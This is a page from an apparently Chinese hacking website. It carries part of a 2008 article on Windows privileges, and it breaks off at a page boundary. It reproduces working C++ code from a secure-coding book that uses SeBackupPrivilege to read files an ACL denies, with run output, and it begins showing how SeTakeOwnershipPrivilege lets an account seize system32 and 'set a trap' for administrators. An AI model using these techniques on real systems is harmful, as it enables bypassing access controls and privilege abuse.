黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客安全 >> 正文
·没有路由密码权限时的鸽08-23·关于Windows的权限和一些10-14
·新型 .net 一句话及客户10-14·快客电邮(QuarkMail)远程10-14
·ORACLE建立数据文件Writ10-14·DB_OWNER权限备份SHELL10-14
·主页吧提供三种类型的小10-14·让桌面图标翻跟斗 在XP系10-13
·酷浪网络提供100M免费静10-13·利用mysql成功入侵淮北生10-12
·入侵骗子站xuehk.com全过10-12·火山互联提供10G/ftp免费10-12
·上网安全 Vista自我防范10-11·让濒临崩溃的Windows XP10-11
·有备无患,快速自制救急10-11·要你好看!Windows看图工10-11
·空间赞助网提供不同类型10-11·讨论net.exe和net1.exe的10-10
·让3389远程桌面传输更通10-10·巧妙入侵渗透赌博站10-10
·Aspx空间扫权限工具10-10·Windows2003最新提权工具10-10
·易淘乐提供100M免费全能10-10·系统开机密码忘了不着急10-09
·中意网络提供免费100M免10-09·与众不同 Windows XP开始10-08
·让桌面图标翻跟斗 在XP上10-08·上海宽元站长资助计划-提10-08
[推荐]关于Windows的权限和一些安全问题
        ★★★★★

关于Windows的权限和一些安全问题

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-10-14 13:00:17

 

二.一些安全问题

1.利用备份权限绕过访问控制

系统备份员(Backup Operators)和管理员(Administrator)具有一项权限:SeBackupPrivilege

利用该权限可以访问正常情况下被拒绝访问的文件。当在ACL中设置拒绝某帐号读取文件时,一个备份程序可以在调用Createprocess时,通过设置FILE_FLAG_BACKUP_SEMANTICS的标志来对文件进行读取。

按照《writng secure code》一书给出的代码如下

1. 假设你具有SeBackupPrivilege权限。

2. 创建一个txt文件,内容为:writings this for cj

3. 添加一个全部拒绝该用户访问的ACE。

现在,试着打开该文件,将会出现拒绝访问的提示。现在,编译下面这段代码(来自《writng secure code》)

/*

WOWAccess.cpp

*/

#include <stdio.h>

#include <windows.h>

int EnablePriv (char *szPriv) {

HANDLE hToken = 0;

if (!OpenProcessToken(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES,

&hToken)) {

printf("OpenProcessToken() failed -> %d", GetLastError());

return -1;

}

TOKEN_PRIVILEGES newPrivs;

if (!LookupPrivilegeValue (NULL, szPriv,

&newPrivs.Privileges[0].Luid)) {

printf("LookupPrivilegeValue() failed -> %d", GetLastError());

CloseHandle (hToken);

return -1;

}

newPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

newPrivs.PrivilegeCount = 1;

if (!AdjustTokenPrivileges(hToken, FALSE, &newPrivs, 0, NULL, NULL)) {

printf("AdjustTokenPrivileges() failed -> %d", GetLastError());

CloseHandle (hToken);

return -1;

}

CloseHandle (hToken);

return 0;

}

void DoIt(char *szFileName, DWORD dwFlags) {

printf("\n\nAttempting to read %s, with 0x%x flags\n",

szFileName, dwFlags);

HANDLE hFile = CreateFile(szFileName,

GENERIC_READ, FILE_SHARE_READ,

NULL, OPEN_EXISTING,

dwFlags,

NULL);

if (hFile == INVALID_HANDLE_VALUE) {

printf("CreateFile() failed -> %d", GetLastError());

return;

}

char buff[128];

DWORD cbRead=0, cbBuff = sizeof buff;

ZeroMemory(buff, sizeof buff);

if (ReadFile(hFile, buff, cbBuff, &cbRead, NULL)) {

printf("Success, read %d bytes\n\nText is: %s",

cbRead, buff);

} else {

printf("ReadFile() failed -> %d", GetLastError());

}

CloseHandle(hFile);

}

void main(int argc, char* argv[]) {

if (argc < 2) {

printf("Usage: %s <filename>", argv[0]);

return;

}

// Need to enable backup priv first.

if (EnablePriv(SE_BACKUP_NAME) == -1)

return;

// Try with no backup flag - should get access denied.

DoIt(argv[1], FILE_ATTRIBUTE_NORMAL);

// Try with backup flag - should work!

DoIt(argv[1], FILE_ATTRIBUTE_NORMAL │ FILE_FLAG_BACKUP_SEMANTICS);

}

运行情况如下

C:\>bkp

Usage: bkp <filename>

C:\>bkp test.txt

Attempting to read test.txt, with 0x80 flags

CreateFile() failed -> 5

Attempting to read test.txt, with 0x2000080 flags

Success, read 20 bytes

Text is: writings this for cj

C:\>

如上,使用了备份的标志后(with 0x2000080 flags)就可以访问开始拒绝访问的文件了。

2.利用SeTakeOwnershipPrivilege权限绕过访问控制

在我的计算机上,tt是一个普通的user帐号,当给他添加上SeTakeOwnershipPrivilege后,就可以绕过原来的访问控制,比如,对 system32目录下就可以添加完全控制的ACE,从而可以任意复制文件。对Document and Settings目录下也可以如法炮制,那么,给管理员下个套就是很简单的事情了。下面是实现过程

首先看下tt所具有的权限

C:\>whoami /all

[User] = "DARKDEAMON\tt" S-1-5-21-1409082233-1957994488-472307971-1013

[Group 1] = "DARKDEAMON\None" S-1-5-21-1409082233-1957994488-472307971-513

[Group 2] = "Everyone" S-1-1-0

[Group 3] = "BUILTIN\Users" S-1-5-32-545

[Group 4] = "NT AUTHORITY\INTERACTIVE" S-1-5-4

[Group 5] = "NT AUTHORITY\Authenticated Users" S-1-5-11

[Group 6] = "LOCAL" S-1-2-0

(O) SeCreatePagefilePrivilege =

(O) SeAssignPrimaryTokenPrivilege =

(O) SeCreateTokenPrivilege =

(O) SeAuditPrivilege =

(X) SeUndockPrivilege =

(O) SeTakeOwnershipPrivilege =

(X) SeChangeNotifyPrivilege =

C:\>

可以看到已经添加了SeTakeOwnershipPrivilege权限,下面,将演示如何取得对system32目录的完全控制

 

上一页  [1] [2] [3] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体:
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886